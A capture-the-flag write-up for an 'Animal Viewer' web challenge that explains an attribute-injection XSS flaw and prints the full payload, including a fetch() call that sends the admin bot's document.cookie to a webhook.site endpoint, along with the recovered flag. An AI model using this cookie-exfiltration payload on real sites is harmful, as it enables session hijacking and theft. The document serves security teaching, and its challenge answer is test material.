Challenge Description
Recover the flag stored in the admin bot's cookie.
Animal Viewer receives an animal name through the URL and places it inside an image src attribute. The challenge also provides an admin bot that visits a submitted URL while carrying the flag in a cookie. The goal is to make JavaScript run in that browser and send the cookie to a controlled endpoint.
Recon / Initial Analysis
Identify where the input reaches the page.
The animal parameter is not HTML-escaped. The filter checks only for < and >, but the value is already inside an HTML attribute. A double quote is therefore enough to close src and add another attribute to the existing img element.
const html = `
<!DOCTYPE html>
<html>
<body>
<h1>Animal Viewer</h1>
<ul>
<li><a href="/?animal=alpaca">Alpaca</a></li>
<li><a href="/?animal=bear">Bear</a></li>
<li><a href="/?animal=cat">Cat</a></li>
<li><a href="/?animal=dog">Dog</a></li>
<li><a href="/?animal=elephant">Elephant</a></li>
<img src="/[ANIMAL].png">
</body>
</html>
`;
app.get("/", async (req, res) => {
const animal = req.query.animal || "alpaca";
if (animal.includes("<") || animal.includes(">")) {
return res.status(400).send("Bad Request");
}
const page = html.replace("[ANIMAL]", animal);
res.send(page);
});
Technical Analysis
Turn the existing image element into the execution point.
The payload begins with x.png, then closes src with a quote. It adds onerror to the same img element and finishes with alt=" so the template's final .png" remains valid. Because /x.png does not exist, loading the image fails and the browser automatically executes onerror. No new HTML tag is required.
GET /?animal=x.png%22%20onerror=alert(1)%20alt=%22 HTTP/1.1
Host: 34.170.146.252:20982
HTTP/1.1 200 OK
<!DOCTYPE html>
<html>
<body>
<h1>Animal Viewer</h1>
<ul>
<li>
<a href="/?animal=alpaca">Alpaca</a>
</li>
<li>
<a href="/?animal=bear">Bear</a>
</li>
<li>
<a href="/?animal=cat">Cat</a>
</li>
<li>
<a href="/?animal=dog">Dog</a>
</li>
<li>
<a href="/?animal=elephant">Elephant</a>
</li>
<img src="/x.png" onerror=alert(1) alt=".png">
</body>
</html>Solution
Replace the proof of concept with cookie exfiltration.
The alert confirms code execution. The final handler uses fetch to request a webhook URL and appends document.cookie to the xss query parameter. The complete URL is submitted to the admin bot. Its browser loads the missing image, fires onerror, reads the FLAG cookie, and sends it to webhook.site.
x.png" onerror="fetch('https://webhook.site/d48a4d72-9a78-4506-a92f-7d8983ab515e?xss=' + document.cookie)" alt="
GET /?animal=x.png%22%20onerror=%22fetch%28%27https%3A%2F%2Fwebhook.site%2Fd48a4d72-9a78-4506-a92f-7d8983ab515e%3Fxss%3D%27%20%2B%20document.cookie%29%22%20alt=%22 HTTP/1.1
Host: 34.170.146.252:20982
HTTP/1.1 200 OK
<!DOCTYPE html>
<html>
<body>
<h1>Animal Viewer</h1>
<ul>
<li>
<a href="/?animal=alpaca">Alpaca</a>
</li>
<li>
<a href="/?animal=bear">Bear</a>
</li>
<li>
<a href="/?animal=cat">Cat</a>
</li>
<li>
<a href="/?animal=dog">Dog</a>
</li>
<li>
<a href="/?animal=elephant">Elephant</a>
</li>
<img src="/x.png" onerror="fetch('https://webhook.site/d48a4d72-9a78-4506-a92f-7d8983ab515e?xss=' + document.cookie)" alt=".png">
</body>
</html>Validation
Confirm the callback generated by the admin bot.
The webhook received a GET request from the challenge infrastructure. Its xss query parameter contained document.cookie, proving that the handler executed inside the admin bot and that the flag was recovered from its cookie.
$ GET /d48a4d72-9a78-4506-a92f-7d8983ab515e?xss=<document.cookie> HTTP/1.1
xss = FLAG=Alpaca{Client_s1de_ch4llenges_ar3_fun}
Flag
The verified flag recovered from the callback.
Alpaca{Client_s1de_ch4llenges_ar3_fun}